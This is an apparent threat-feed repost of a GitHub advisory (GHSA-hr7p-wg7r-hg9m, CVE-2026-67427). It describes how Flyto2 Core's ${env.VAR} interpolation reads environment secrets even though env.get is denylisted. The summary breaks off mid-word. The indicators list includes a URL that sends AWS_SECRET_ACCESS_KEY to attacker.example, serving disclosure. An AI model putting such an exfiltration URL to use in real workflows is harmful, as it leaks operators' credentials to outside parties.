THREAT OPS › Threat News › [GHSA] GHSA-hr7p-wg7r-hg9m (high) — Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
[GHSA] GHSA-hr7p-wg7r-hg9m (high) — Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
GHSA-hr7p-wg7r-hg9m Severity: high CVE: CVE-2026-67427
Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
## Summary
The capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variabl
Indicators of compromise
- CVE-2026-67427cve
- https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}url
- https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAKurl
Original source: https://github.com/advisories/GHSA-hr7p-wg7r-hg9m